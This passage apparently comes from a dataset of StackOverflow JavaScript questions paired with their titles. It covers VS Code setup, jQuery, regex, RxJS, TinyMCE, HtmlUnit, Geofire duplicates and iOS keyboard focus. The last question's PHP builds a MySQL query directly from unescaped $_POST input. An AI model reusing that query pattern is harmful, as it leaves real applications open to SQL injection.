'2015-02-09 ' , 'namew ' ] , [ '1980-12-23 ' , 'name2 ' ] , [ '2015-02-12 ' , 'namen ' ] , [ '2015-02-13 ' , 'named ' ] , ] results = [ [ '1929-03-12 ' , 'name4 ' ] , [ '2023-07-01 ' , 'name7 ' ] , [ '2015-02-15 ' , 'namex ' ] , [ '1980-12-23 ' , 'name2 ' ] , ]",Javascript : Find out of sequence dates "JS : I just installed Visual Studio Code and I 'm trying to run my MEANJS application within the IDE , VisualStudio created a ./settings folder with a launch.json file which contains the configuration to run the project.What I usually do using the MEANJS workflow is just to type grunt in the root folder of the application and the command to call the gruntfile.js which contains all the jobs to launch my application.I want to try to achieve the same in Visual Studio Code by pressing the button play , and run the grunt tasks , but I have no idea where to start.Any recommendations ? { `` version '' : `` 0.1.0 '' , // List of configurations . Add new configurations or edit existing ones . // ONLY `` node '' and `` mono '' are supported , change `` type '' to switch . `` configurations '' : [ { // Name of configuration ; appears in the launch configuration drop down menu . `` name '' : `` Launch Project '' , // Type of configuration . Possible values : `` node '' , `` mono '' . `` type '' : `` node '' , // Workspace relative or absolute path to the program . `` program '' : `` gruntfile.js '' , // Automatically stop program after launch . `` stopOnEntry '' : false , // Command line arguments passed to the program . `` args '' : [ ] , // Workspace relative or absolute path to the working directory of the program being debugged . Default is the current workspace . `` cwd '' : `` . `` , // Workspace relative or absolute path to the runtime executable to be used . Default is the runtime executable on the PATH . `` runtimeExecutable '' : null , // Optional arguments passed to the runtime executable . `` runtimeArgs '' : [ ] , // Environment variables passed to the program . `` env '' : { } , // Use JavaScript source maps ( if they exist ) . `` sourceMaps '' : false , // If JavaScript source maps are enabled , the generated code is expected in this directory . `` outDir '' : null } , { `` name '' : `` Attach '' , `` type '' : `` node '' , // TCP/IP address . Default is `` localhost '' . `` address '' : `` localhost '' , // Port to attach to . `` port '' : 3000 , `` sourceMaps '' : false } ] }",Visual Studio Code configuration to run MEANJS workflow "JS : I have a form with radio buttons : In Firefox and Chrome , returns 3 ( or whatever ) but in Internet Explorer I get ‘ NaN ’ . ( Apologies if I 'm asking this wrong , I 'm new here ... ) < ul class='likert ' > < li > < input type= '' radio '' name= '' q1 '' value=5 required > < /li > < li > < input type= '' radio '' name= '' q1 '' value=4 > < /li > < li > < input type= '' radio '' name= '' q1 '' value=3 checked= '' checked '' > < /li > < li > < input type= '' radio '' name= '' q1 '' value=2 > < /li > < li > < input type= '' radio '' name= '' q1 '' value=1 > < /li > < /ul > parseInt ( document.forms [ `` question_form '' ] [ `` q1 '' ] .value )",JavaScript NaN error in Internet Explorer "JS : Is there a way to draw inside a cavnas all the size of it ? I 've checked that I can repeat an image but I just want to repeat a text.As a plus , if it the text could be shifted each line , could be great . Example of the effect I need if i set `` 1234567 '' as text : 1234567 1234567 1234567 1234567 1234567 1234567234567 1234567 1234567 1234567 1234567 1234567 34567 1234567 1234567 1234567 1234567 1234567 14567 1234567 1234567 1234567 1234567 1234567 12567 1234567 1234567 1234567 1234567 1234567 12367 1234567 1234567 1234567 1234567 1234567 12347 1234567 1234567 1234567 1234567 1234567 12345 1234567 1234567 1234567 1234567 1234567 1234561234567 1234567 1234567 1234567 1234567 1234567",HTML5 Canvas - repeat text all the canvas size "JS : I use jQuery 's .css ( ) method to apply styles to an element . I do this like so : The problem with this is that obviously I use duplicate keys in the object , which is not cool.How can I solve this problem ? I need to pass the CSS params with duplicate names to address most browsers . var cssObj = { 'background-color ' : ' # 000 ' , 'background-image ' : '-webkit-linear-gradient ( top , # 000 , # fff ) ' , 'background-image ' : 'linear-gradient ( top , # 000 , # fff ) ' } ; $ ( `` .element '' ) .css ( cssObj ) ;",Build JavaScript Object to use with jQuery .css ( ) ( what about duplicate keys ? ) "JS : then after i use jQuery share-basket-icon plugins then the error was come to ... jQuery ( this ) .clearQueue is not a function jQuery ( function ( ) { jQuery ( `` ul.logos-sprite-icon-wrap li a.logos-icon '' ) .hover ( function ( ) { jQuery ( this ) .animate ( { 'padding-top ' : '0px ' , 'padding-bottom ' : '5px ' , } , 500 ) ; } , function ( ) { jQuery ( this ) .clearQueue ( ) ; jQuery ( this ) .clearQueue ( ) .animate ( { 'padding-top ' : '5px ' , 'padding-bottom ' : '0px ' , } , 500 ) ; } ) ; } ) ; jQuery ( this ) .clearQueue ( ) ;",jQuery ( this ) .clearQueue is not a function "JS : I have found a regex template in Expresso , this one works fine and returns perfect matches but in JavaScript it does n't work . I know its may be for look-behind , but I am not enough efficient in Regex to make it JS compatible.I want to match it with ... ... and it should return ... This works perfectly in Expresso but JS console in Chrome says : How can this regex be modified to function properly in JavaScript ? \ ( ( ? > [ ^ ( ) ] +|\ ( ( ? < number > ) |\ ) ( ? < -number > ) ) * ( ? ( number ) ( ? ! ) ) \ ) max ( 50 , max ( 51 , 60 ) ) a ( ) MAX ( s,4,455 ) something 1 : ( 50 , max ( 51 , 60 ) ) 2 : ( ) 3 : ( s,4,455 ) Uncaught SyntaxError : Invalid regular expression : /\ ( ( ? > [ ^ ( ) ] +|\ ( ( ? < number > ) |\ ) ( ? < -number > ) ) * ( ? ( number ) ( ? ! ) ) \ ) / : Invalid group",How can this regex be made JavaScript compatible ? "JS : I have learned of two different ways of making an Observable . First one was with a Subject , like so : This method of creating an Observable allows me to have a way to exchange data from file B to file C.The second way is via the Observable class , like so : The main difference that I can gather between the Subject way and the Observable way is that I am not sure how to have some sort of communication between some file C , to the subscribers of the Observable . Basically , click $ does not have a .next ( ) method , and the observer methods are in the function that we pass to the observable . Other than this difference in behavior , is there another difference between observables made with Subject , and those made with Observable // file Aconst message $ = new Subject ( ) ; // file Bmessage $ .subscribe ( ( message ) = > console.log ( message ) ) ; // file Cmessage $ .next ( `` Hello there ! `` ) ; // file Aconst click $ = new Observable ( function ( observer ) { //Alternatively , I can use Observable.create ( ) document.addEventListener ( 'click ' , ( e ) = > observer.next ( e ) ) ; } ) ; // file Bclick $ .subscribe ( ( cl ) = > console.log ( cl ) ) ;","What are the differences between using a Subject and an Observable , and what are the uses for each ?" "JS : I have a site that builds the pages dynamically . It 's a SharePoint site . The site contains a lot of document libraries . The libraries contain word , excel and PDF documents . When a user clicks on a document , the document opens in the client application for office documents only . PDFs simply open in the same window . when people close the window containing the document , they close the site . I 'm trying to use javascript to onload add target= '' _blank '' to the PDF links.So far I have : This code sort of works as some of the pdf links load in a new window as expected , some load in the parent window and some links load in both a new window and the parent . How do I tell the browser not to load in the parent window and only in the new window ? This is what I want to achieve : The problem I 'm running into is that sharepoint document libraries are modifying the link behavior such that the javascript does not make then open in a new window . Below is an example of a link from a document library : window.onload = function ( ) { l=document.links.length ; for ( i = 0 ; i < l ; i++ ) { n = document.links [ i ] .href.indexOf ( `` .pdf '' ) ; if ( n > 0 ) { document.links [ i ] .setAttribute ( 'target ' , '_blank ' ) ; } } } < ! doctype html > < html > < head > < meta charset= '' utf-8 '' > < title > Untitled Document < /title > < /head > < body > < a href= '' a.pdf '' > a.pdf < /a > < br / > < br / > < a href= '' b.html '' > b.html < /a > < br / > < br / > < a href= '' c.pdf '' > c.pdf < /a > < br / > < br / > < script > window.onload = function ( ) { l=document.links.length ; for ( i = 0 ; i < l ; i++ ) { n = document.links [ i ] .href.indexOf ( `` .pdf '' ) ; if ( n > 0 ) { document.links [ i ] .setAttribute ( 'target ' , '_blank ' ) ; } } } < /script > < /body > < /html > < a onfocus= '' OnLink ( this ) '' href= '' https : //rcd.sharepoint.com/HR/HR % 20Policy % 20Manual.pdf '' onmousedown= '' return VerifyHref ( this , event , ' 0 ' , '' , '' ) '' onclick= '' return DispEx ( this , event , 'TRUE ' , 'FALSE ' , 'FALSE ' , '' , ' 0 ' , '' , '' , '' , '' , '331 ' , ' 0 ' , ' 0 ' , '0x7fffffffffffffff ' , '' , '' ) '' > HR Policy Manual < /a >",javascript : open all links to pdf on a page in new window "JS : OK , I admit I tried to be clever : I thought if I overrode Shape 's drawFunc property I could simply draw whatever inside a rectangle and still use KineticJS 's click detection . Here 's my attempt : So , the idea was to draw a rectangle , and use drawImage ( ) to draw something on top of the rectangle ( like a texture , except it changes from time to time because copyCanvas itself changes ) . All the meanwhile , I expected event handling ( drag-n-drop , in particular ) to still 'just work ' . Well , here 's what happens : the part of the rectangle not covered by my drawImage ( ) correctly detects clicks . However , the one fourth of the rectangle that is covered by the image refuses to respond to clicks ! Now , my question is why ? I dug into the KineticJS code , and looked to me that click detection simply means drawing to a buffer and seeing if a given x , y point has non-zero alpha . I ca n't see how this could be affected by my drawing an image on top of my rectangle.Any ideas what 's going on ? var shape = new Kinetic.Shape ( { drawFunc : function ( context ) { var id = 26 ; // Id of a region inside composite image . context.beginPath ( ) ; context.rect ( 0 , 0 , w , h ) ; context.closePath ( ) ; this.fill ( context ) ; this.stroke ( context ) ; context.drawImage ( copyCanvas , ( id % 8 ) * w , flr ( id / 8 ) * h , w , h , 0 , 0 , w / 2 , h / 2 ) ; } , draggable : true } ) ;",KineticJS click detection inside animated shapes "JS : So I have an Ember app and I need to take a snapshot for crawling purposes . The Ember app uses Google+ API for singing in . It also has a Youtube video embedded in the index page . I use HtmlUnit v2.15.I 'm using the following code to initialize HtmlUnit : Now , I have one issue that happens with all 3 major browser versions ( CHROME , INTERNET_EXPLORER_11 , FIREFOX_24 ) : Snipet from vendor.js : Then , I have the following type of error only with FIREFOX_24 and INTERNET_EXPLORER_11 : This happens only in INTERNET_EXPLORER_11 : Lastly , this happens only in CHROME : Also , If I want to check the result of HtmlUnit processing inside a web browser ( Chrome Linux in this case ) , the resulting page is not rendered , it 's just : UPDATE : I just updated HtmlUnit to v2.16.The page not rendering at all was partially caused by the flash plugin integration which appears to be fixed in v2.16 as also described below , and by a non-UTF-8 char present in the index page . So partially my bad for that . So the page renders as expected without issues now . Still , some parsing issues remain , as explained below.Not fixed using CHROME or FIREFOX_31 . Fixed in INTERNET_EXPLORER_11Not fixed . Now present also in CHROME , besides FIREFOX_31 . Fixed in IE_11.Fixed in IE_11.Fixed in CHROME.New issue with CHROME , FIREFOX_31 : Rhino runtime detected object com.gargoylesoftware.htmlunit.ScriptException : Exception invoking resolve of class com.gargoylesoftware.htmlunit.ScriptException where it expected String , Number , Boolean or Scriptable instance . Please check your code for missing Context.javaToJS ( ) call.New issue with IE_11 : runtimeError : message= [ An invalid or illegal selector was specified ( selector : ' : enabled ' error : Syntax Error ) . ] sourceName= [ http : //www.domain.com/assets/vendor.js ] line= [ 1346 ] lineSource= [ null ] lineOffset= [ 0 ] Snippet at line 1346 : In conclusion , in the lastest version of HtmlUnit v2.16 , IE_11 has only 1 error , while CHROME and FIREFOX_31 have 3 . As a result , I will switch to using IE_11 and also change the log threshold for HtmlUnit to FATAL instead of ERROR in order to not be spammed with error emails from that 1 issue . It 's better , I 'll give you that , but still not perfect . Maybe with next year 's update ? : ) // use the headless browser to obtain an HTML snapshotfinal WebClient webClient = new WebClient ( BrowserVersion.CHROME ) ; webClient.getOptions ( ) .setJavaScriptEnabled ( true ) ; webClient.getOptions ( ) .setActiveXNative ( true ) ; webClient.getOptions ( ) .setAppletEnabled ( true ) ; webClient.getOptions ( ) .setCssEnabled ( true ) ; webClient.getOptions ( ) .setUseInsecureSSL ( true ) ; webClient.getOptions ( ) .setThrowExceptionOnScriptError ( false ) ; HtmlPage page = webClient.getPage ( originalUrl ) ; // important ! Give the headless browser enough time to execute JavaScript// The exact time to wait may depend on your application.webClient.waitForBackgroundJavaScript ( 5000 ) ; // return the snapshotlogger.info ( `` Writing snapshot for URL : `` + originalUrl ) ; response.getWriter ( ) .write ( page.asXml ( ) ) ; webClient.closeAllWindows ( ) ; runtimeError : message= [ An invalid or illegal selector was specified ( selector : '* , :x ' error : Invalid selector : * : x ) . ] sourceName= [ http : //www.domain.com/assets/vendor.js ] line= [ 1351 ] lineSource= [ null ] lineOffset= [ 0 ] // Opera 10-11 does not throw on post-comma invalid pseudosdiv.querySelectorAll ( `` * , :x '' ) ; // line 1351 is the problemrbuggyQSA.push ( `` , . * : '' ) ; Invalid rpc message origin . https : //accounts.google.com vs http : //www.domain.comInvalid rpc message origin . https : //apis.google.com vs http : //www.domain.com runtimeError : message= [ Automation server ca n't create object for 'ShockwaveFlash.ShockwaveFlash.7 ' . ] sourceName= [ https : //s.ytimg.com/yts/jsbin/www-embed-player-vflWiCusa/www-embed-player.js ] line= [ 59 ] lineSource= [ null ] lineOffset= [ 0 ] [ com.gargoylesoftware.htmlunit.javascript.host.xml.XMLHttpRequest.open ( XMLHttpRequest.java:534 ) ] Unable to initialize XMLHttpRequest using malformed URL 'chrome-extension : //boadgeojelhgndaghljhdicfkmllpafd/cast_sender.js ' . This page contains the following errors : error on line 23 at column 5 : Encoding errorBelow is a rendering of the page up to the first error.embed [ type*= '' application/x-shockwave-flash '' ] , embed [ src*= '' .swf '' ] , object [ type*= '' application/x-shockwave-flash '' ] , object [ codetype*= '' application/x-shockwave-flash '' ] , object [ src*= '' .swf '' ] , object [ codebase*= '' swflash.cab '' ] , object [ classid*= '' D27CDB6E-AE6D-11cf-96B8-444553540000 '' ] , object [ classid*= '' d27cdb6e-ae6d-11cf-96b8-444553540000 '' ] , object [ classid*= '' D27CDB6E-AE6D-11cf-96B8-444553540000 '' ] { display : none ! important ; } // FF 3.5 - : enabled/ : disabled and hidden elements ( hidden elements are still enabled ) // IE8 throws error here and will not see later tests if ( ! div.querySelectorAll ( `` : enabled '' ) .length ) { rbuggyQSA.push ( `` : enabled '' , `` : disabled '' ) ; }",Errors while trying to parse ember app with HtmlUnit "JS : I am working with Geofire and Firebase on Angular 6 to store locations and unfortunately it 's storing a lot of duplicates this is an example ( console logging my variable currentHits ) : Location basically is an array of latitude and longitude used to calculate distance , in id 0 , 1 and 2 its the same coordinates , and 3,4 and 5 are also the same , ... This is what I want to get : ( Optional ) this is how It stores these locations : It 's true that this question has probably already been asked and I have been digging through all the similar questions and found these functions:1 . RemoveDuplicates ( ) It did n't work I get the same list with duplicates.2 . arrUnique : Also , it did n't work..3. onlyUniqueUnfortunately it did n't work ... These are some of the answers given to similar problem to remove duplicates from an array and none of them worked . I do n't understand why they wo n't work for my type of array , If anyone has an idea or knows why would be very helpful . 0 : { location : Array ( 2 ) , distance : `` 48.84 '' , url : `` assets/imgs/fix.png '' } 1 : { location : Array ( 2 ) , distance : `` 48.84 '' , url : `` assets/imgs/fix.png '' } 2 : { location : Array ( 2 ) , distance : `` 48.84 '' , url : `` assets/imgs/fix.png '' } 3 : { location : Array ( 2 ) , distance : `` 48.85 '' , url : `` assets/imgs/free.png '' } 4 : { location : Array ( 2 ) , distance : `` 48.85 '' , url : `` assets/imgs/free.png '' } 5 : { location : Array ( 2 ) , distance : `` 48.85 '' , url : `` assets/imgs/free.png '' } 6 : { location : Array ( 2 ) , distance : `` 48.87 '' , url : `` assets/imgs/low.png '' } 7 : { location : Array ( 2 ) , distance : `` 48.87 '' , url : `` assets/imgs/low.png '' } 8 : { location : Array ( 2 ) , distance : `` 48.87 '' , url : `` assets/imgs/low.png '' } 0 : { location : Array ( 2 ) , distance : `` 48.84 '' , url : `` assets/imgs/fix.png '' } 1 : { location : Array ( 2 ) , distance : `` 48.85 '' , url : `` assets/imgs/free.png '' } 2 : { location : Array ( 2 ) , distance : `` 48.87 '' , url : `` assets/imgs/low.png '' } ... hits = new BehaviorSubject ( [ ] ) ... queryHits ( ... ) { ... . let hit = { location : location , distance : distance.toFixed ( 2 ) , url : img } let currentHits = this.hits.value currentHits.push ( hit ) this.hits.next ( currentHits ) ... . } function removeDuplicates ( arr ) { let unique_array = [ ] for ( let i = 0 ; i < arr.length ; i++ ) { if ( unique_array.indexOf ( arr [ i ] ) == -1 ) { unique_array.push ( arr [ i ] ) } } return unique_array } var newlist = removeDuplicates ( list ) function arrUnique ( arr ) { var cleaned = [ ] ; arr.forEach ( function ( itm ) { var unique = true ; cleaned.forEach ( function ( itm2 ) { if ( _.isEqual ( itm , itm2 ) ) unique = false ; } ) ; if ( unique ) cleaned.push ( itm ) ; } ) ; return cleaned ; } var newlist= arrUnique ( list ) ; onlyUnique ( value , index , self ) { return self.indexOf ( value ) === index ; } var newlist = list.filter ( onlyUnique )",Remove Duplicates from an Array of GeoFire Objects "JS : I am trying to render a spline chart with PUBNUB EON charting library . I do not understand what is going wrong here . I can see the data in console , but the chart is not rendering , there are only x and y axis lines . I am getting the data from python SDK and subscribing via javascript SDK . There is no error message in the console.My python code is My subscribe javascript function is I can see the values in console but I do not understand why it wont render on chart . the result of python script : def counterVolume ( data ) : for each in data : y = each.counter_volume data_clean = json.dumps ( y , indent=4 , separators= ( ' , ' , ' : ' ) ) print pubnub.publish ( channel='channel ' , message= data_clean ) counterVolume ( data ) var data ; var pubnub = PUBNUB.init ( { publish_key : 'pub ' , subscribe_key : 'subf ' } ) ; var channel = `` c3-spline '' ; eon.chart ( { history : true , channel : 'channel ' , flow : true , generate : { bindto : ' # chart ' , data : { x : ' x ' , labels : false } , axis : { x : { type : 'timeseries ' , tick : { format : ' % m- % d % H : % M : % S ' } } } } } ) ; function dataCallback ( ) { pubnub.subscribe ( { channel : 'channel ' , message : function ( m ) { data = m console.log ( data ) } } ) ; } ; dataCallback ( ) ; pubnub.publish ( { channel : 'orbit_channel ' , message : { columns : [ [ ' x ' , new Date ( ) .getTime ( ) ] , [ ' y ' , data ] ] } } ) 89453.089453.089453.089453.0",PubNub EON chart not Rendering Data "JS : I have gotten a lot further in the mean time . There is however an issue I am still having.The situation is like this : I have a div with multiple textareas that are being loaded with an JQuery AJAX call.The initial initialization works great using the following code : But after adding another extra editor by an onclick the AJAX call gets performed perfectly and the editor gets added in the database and almost everything runs fine ... except ... The TinyMCE editors disappear.I have done some searching and the first thing I found out that I did not do was removing the editor . Because this needs to be done before reinitializing it.So I added : Unfortunately this did not make any difference.So possibly I am using it wrong.I am using TinyMCE 4.0I hope someone sees my error and we can continue the Journey.TIAD ! ! P.S . The [ @ appbase ] is being replaced by PHP to display the absolute path to the script . : - ) function InitializeTinyMCE ( ) { /// This can also be positioned outside a function in the document ready section $ .get ( `` [ @ appbase ] sereneadmin/pages/ ? SetAjaxCall=editor & page= [ @ editparam ] '' , function ( EditorHTML ) { $ ( `` # SerenePageEditors '' ) .html ( EditorHTML ) .find ( '.EditorField ' ) .tinymce ( { script_url : ' [ @ appbase ] script/tinymce/js/tinymce/tinymce.jquery.min.js ' , plugins : [ `` advlist autolink lists link image charmap print preview hr anchor pagebreak '' , `` searchreplace wordcount visualblocks visualchars code fullscreen '' , `` insertdatetime media nonbreaking save table contextmenu directionality '' , `` emoticons template paste textcolor colorpicker textpattern imagetools '' ] , content_css : ' [ @ appbase ] app/template/css/bootstrap.min.css , [ @ appbase ] app/template/css/div.highlighting.css ' // includes both css files in header } ) ; tinyMCE.execCommand ( 'mceRemoveEditor ' , true , ' # WysyWig ' ) ; tinyMCE.execCommand ( 'mceAddEditor ' , false , ' # WysyWig ' ) ; } ) ; } tinyMCE.execCommand ( 'mceRemoveEditor ' , true , ' # WysyWig ' ) ;",TinyMCE disappears after reinitialization in AJAX loaded DIV "JS : When creating a div it is an instance of HTMLDivElement : This also holds true when obtaining an external document and window : I 've tried creating a document with the Document constructor to process an external HTML document : So , it creates Elements and the elements are in the same realm as the one we 're in . However to my surprise it does not type its elements : Why is that and why does the current document create typed elements while a new document creates only Element ? var d = document.createElement ( 'div ' ) ; d instanceof HTMLDivElement ; // trued instanceof Element ; // true var frame = document.createElement ( 'iframe ' ) ; document.body.appendChild ( frame ) ; var doc2 = frame.contentWindow.document ; var d2 = doc2.createElement ( 'div ' ) ; d2 instanceof frame.contentWindow.HTMLDivElement ; // trued2 instanceof Element ; // false , different realm/dom var doc = new Document ( ) ; var d = doc.createElement ( 'div ' ) ; d instanceof Element ; // true d instanceof HTMLDivElement ; // falsed.constructor.name ; // `` Element ''",Why do elements created under a ` new Document ` contain the wrong prototype ? "JS : I have found this piece of code in jQuery Migrate v1.1.1And I really wonder about 2 things:1 ) What does ===void 0 mean ? 2 ) Why these conditions are followed by a comma ? My tests showed me it will always get executed.Its just not I really need to know , but i am really interested , because I thought I knew everything about JS . ; ) jQuery.migrateMute===void 0 & & ( jQuery.migrateMute= ! 0 ) , function ( e , t , n ) { /* anything */ }",What does this Javascript Snippet does ( start of jQuery migration file ) "JS : In javascript , it 's possible to `` override '' properties or methods of Object.prototype . For example : It can break an entire application if not used carefully . Are there any tools , techniques or approaches to avoid this ( for example , some kind of 'strict mode ' that does n't allow the developer to override properties of Object ) ? Object.prototype.toString = function ( ) { return `` some string '' ; } ;",How to avoid prototype pollution in javascript ? "JS : I have a fairly long running ( 3 to 10 second ) function that loads data in the background for a fairly infrequently used part of the page . The question I have is what is the optimal running time per execution and delay time between to ensure that the rest of the page stays fairly interactive , but the loading of the data is not overly delayed by breaking it up ? For example : Now , I 've done some testing , and a chunkSize that yields about a 100ms execution time and a 1ms timeout seem to yield a pretty responsive UI , but some examples I 've seen recommend much larger chunks ( ~300ms ) and longer timeouts ( 20 to 100 ms ) . Am I missing some dangers in cutting my function into too many small chunks , or is trial and error a safe way to determine these numbers ? var i = 0 ; var chunkSize = 10 ; var timeout = 1 ; var data ; //some arrayvar bigFunction = function ( ) { var nextStop = chunkSize + i ; //find next stop if ( nextStop > data.length ) { nextStop = data.length } for ( ; i < nextStop ; i++ ) { doSomethingWithData ( data [ i ] ) ; } if ( i == data.length ) { setTimeout ( finalizingFunction , timeout ) ; } else { setTimeout ( bigFunction , timeoutLengthInMs ) ; } } ; bigFunction ( ) ; //start it all off",How much to subdivide long running function for responsive UI ? "JS : I have a few sortables with CSS3 keyframe animations defined on them through a class . When sorting , I 've noticed strange behaviour as seen in this Fiddle.Initiating jQuery sortable.The animation triggers on sort start and stop , while the animation class is not being reapplied . It 's seems like there is some sort of reflow going on caused by jQuery modifying the DOM . But how does it keep triggering the animation , and can it be avoided ? The goal is to have no animation at all when sorting , while keeping the class.Answer : It makes sense , since the item we 're dragging around is just a clone , it animates on start because we insert the clone to the DOM . The animation occurring on stop has the same cause , since the clone is then being append to it 's new position , again triggering a reflow of the document . .slideLeft { animation-name : slideLeft ; -webkit-animation-name : slideLeft ; animation-duration : 1s ; -webkit-animation-duration : 1s ; animation-timing-function : ease-in-out ; -webkit-animation-timing-function : ease-in-out ; visibility : visible ! important ; } @ keyframes slideLeft { 0 % { transform : translateX ( 150 % ) ; } 50 % { transform : translateX ( -8 % ) ; } 65 % { transform : translateX ( 4 % ) ; } 80 % { transform : translateX ( -4 % ) ; } 95 % { transform : translateX ( 2 % ) ; } 100 % { transform : translateX ( 0 % ) ; } } $ ( function ( ) { $ ( `` # sortable '' ) .sortable ( ) ; } ) ;",jQuery UI sortable triggers css3 animation on sort "JS : I want to render a list of components that have a 1:1 relationship with some objects in my redux store.My current code is : Edit : Example here ( codesandbox.io/s/brave-mcnulty-0rrjz ) The problem being that performance takes a pretty big hit rendering an entire list of background images as the list grows . What is a better way to achieve this ? Edit : still unsure why background-image src is triggering a re-render , but the suggestion to use an < img > element instead has things working as intended . props.images.forEach ( imageFile = > { let objectURL = URL.createObjectURL ( imageFile ) ; const newStyles = { left : ` $ { leftPosition } % ` , top : ` $ { topPosition } % ` } previewFloats.push ( < div className= '' Preview '' style= { { ... style , ... newStyles } } key= { v4 ( ) } > < /div > ) } ) ; return ( previewFloats )",How to dynamically render list of components without re-rendering entire list with every new addition ? "JS : UPDATE : I have the following code : How can I prevent code from executing until all required JS have been downloaded and executed ? In my example above , those required files being google-maps.js and jquery.js . < script type= '' text/javascript '' > function addScript ( url ) { var script = document.createElement ( 'script ' ) ; script.src = url ; document.getElementsByTagName ( 'head ' ) [ 0 ] .appendChild ( script ) ; } addScript ( 'http : //google.com/google-maps.js ' ) ; addScript ( 'http : //jquery.com/jquery.js ' ) ; ... // run code below this point once both google-maps.js & jquery.js has been downloaded and excuted < /script >",How can I delay running some JS code until ALL of my asynchronous JS files downloaded ? "JS : I 'm experimenting with using html5 and css counters to number the figures in a document . The figure numbering css is working , but I need to be able to generate cross reference that include the figure numbers.Is there any way to access those values via javascript ? The counter code I am using is : body { counter-reset : section ; } section { counter-reset : figure ; counter-increment : section ; } section section { counter-reset : section ; } section > h1 : before { content : counters ( section , ' . ' ) ; } .figure > .caption : before { counter-increment : figure ; content : 'Figure ' counters ( section , ' . ' ) '- ' counter ( figure ) ; } section > h1 : before , .figure > .caption : before { margin-right : .5em ; }",Is it possible to access the content generated by a css : before rule ? "JS : Definitely , all of us know about powerful JavaScript engine , So why in React Native is used a different engine that name is JavaScriptCore.The JavaScriptCore does not support some ES6 features like below function : What is benefits of JavaScriptCore to V8 ? Why the Facebook developers did n't use V8 ? Array.prototype.flatten",The benefits of React-Native JavaScriptCore "JS : I have a social stream that I want to update with setInterval . SetInterval needs to be stopped when someone is leaving a comment or a reply otherwise it clears the content of the textarea because it is nested inside the content being updated.I 'm attempting to use this code , modified , from another answer , but it is failing in that it wo n't stop the timer after the first cycle of the setInterval timer.HTML ... JS ... Edit : I 've updated the code to include everything as tested on JSfiddle . The timer will stop if you immediately set focus to the comment textarea after closing the alert at document ready.After removing focus , and the first cycle of the interval timer completes , the timer will not stop again . The focus event seems to stop firing.Is this because the comment textarea is nested inside the content area that is updating ? I 'm pulling my hair out . If I remove the nesting , it works as expected.My caveat is that the comment textareas are always going to be nested inside of the social stream 's content div , for obvious reasons.So , to update the question further : Is there a way to get the interval timer to stop on textarea focus using jquery , while the focused element is nested inside the updating element ? Why does the focus event stop firing after the first interval completes ? Edit : The complete JS code , working coreectly , with Jeremy Klukan 's solution incorporated , for anyone doing the same type of project.WORKING JS : < div id= '' social_stream_content '' > < textarea id= '' comments '' rows= '' 4 '' cols= '' 50 '' placeholder= '' Set focus to stop timer '' > < /textarea > < /div > function auto_load ( ) { data = ' < textarea id= '' comments '' rows= '' 4 '' cols= '' 50 '' placeholder= '' Set focus to stop timer ... '' > < /textarea > ' ; $ ( `` # social_stream_content '' ) .html ( data ) ; alert ( `` auto_load invoked '' ) ; } var myInterval ; var interval_delay = 10000 ; var is_interval_running = false ; //Optional $ ( document ) .ready ( function ( ) { auto_load ( ) ; //Call auto_load ( ) function when document is Ready //Refresh auto_load ( ) function after 10000 milliseconds myInterval = setInterval ( interval_function , interval_delay ) ; $ ( 'textarea ' ) .focus ( function ( ) { console.log ( 'focus ' ) ; clearInterval ( myInterval ) ; // Clearing interval on window blur is_interval_running = false ; //Optional } ) .focusout ( function ( ) { console.log ( 'focusout ' ) ; clearInterval ( myInterval ) ; // Clearing interval if for some reason it has not been cleared yet if ( ! is_interval_running ) //Optional myInterval = setInterval ( interval_function , interval_delay ) ; } ) ; } ) ; interval_function = function ( ) { is_interval_running = true ; //Optional // Code running while textarea is NOT in focus auto_load ( ) ; } function auto_load ( ) { data = ' < textarea id= '' comments '' rows= '' 4 '' cols= '' 50 '' placeholder= '' Set focus to stop timer ... '' > < /textarea > ' ; $ ( `` # social_stream_content '' ) .html ( data ) ; alert ( `` auto_load invoked '' ) ; } var myInterval ; var interval_delay = 10000 ; var is_interval_running = false ; //Optional $ ( document ) .ready ( function ( ) { auto_load ( ) ; //Call auto_load ( ) function when document is Ready //Refresh auto_load ( ) function after 10000 milliseconds myInterval = setInterval ( interval_function , interval_delay ) ; $ ( 'body ' ) .on ( 'focus ' , ' # social_stream_content textarea ' , function ( event ) { console.log ( 'focus ' ) ; clearInterval ( myInterval ) ; // Clearing interval on window blur is_interval_running = false ; //Optional } ) .on ( 'focusout ' , ' # social_stream_content textarea ' , function ( event ) { console.log ( 'focusout ' ) ; clearInterval ( myInterval ) ; // Clearing interval if for some reason it has not been cleared yet if ( ! is_interval_running ) //Optional myInterval = setInterval ( interval_function , interval_delay ) ; } ) ; } ) ; interval_function = function ( ) { is_interval_running = true ; //Optional // Code running while textarea is NOT in focus auto_load ( ) ; }","How to setInterval on ready , stop on textarea focus , then start on textarea focusout ?" "JS : This question is about iOS web dev.I have a function which is fired by a keyup listener in a `` Search '' input field.It works perfectly on a Desktops , Laptops , Samsung Galaxy phones and the Sony Xperia but not in iPhone or iPad . Whenever the function runs , the soft keyboard closes . One potential fix I thought of was to re focus on the input id='newsearch ' as the last line of the function , but that did n't seem to do anything.Does anyone know how to keep the keyboard open while the function is running in ios ? See 3 code snippets below : The lines that trigger the function : The function itself : addplayer.jsThe php file the function refers to : newsearch.php < tr > < td colspan= ' 3 ' > Search < input type='text ' autofocus id='newsearch ' > < /input > < /td > < h2 > Search Results < /h2 > < div id= '' newsearch-data '' > < /div > < script src= '' http : //code.jquery.com/jquery-1.8.0.min.js '' > < /script > < script src= '' addplayer.js '' > < /script > $ ( 'input # newsearch ' ) .on ( 'keyup ' , function ( ) { var newsearch = $ ( 'input # newsearch ' ) .val ( ) ; if ( $ .trim ( newsearch ) ! = `` '' ) { $ .post ( 'newsearch.php ' , { newsearch : newsearch } , function ( data ) { $ ( 'div # newsearch-data ' ) .html ( data ) ; } ) ; } } ) ; document.getElementById ( `` newsearch '' ) .focus ( ) ; if ( isset ( $ _POST [ 'newsearch ' ] ) & & $ _POST [ 'newsearch ' ] ! = NULL ) { require 'dbconnect.php ' ; $ term = $ _POST [ 'newsearch ' ] ; $ terms = `` % '' . $ term . `` % '' ; $ _SESSION [ 'players ' ] = array ( ) ; $ query = ( `` SELECT * FROM players WHERE Username LIKE ' $ terms ' OR Phonenumber LIKE ' $ terms ' OR PlayerID LIKE ' $ terms ' '' ) ; $ run_query = mysqli_query ( $ dbcon , $ query ) ; echo `` < table border='1px ' > < tr > < th > Player ID < /th > < th > Name < /th > < th > Action < /th > < /tr > '' ; while ( $ dbsearch = mysqli_fetch_assoc ( $ run_query ) ) { $ dbu = $ dbsearch [ 'Username ' ] ; $ id = $ dbsearch [ 'PlayerID 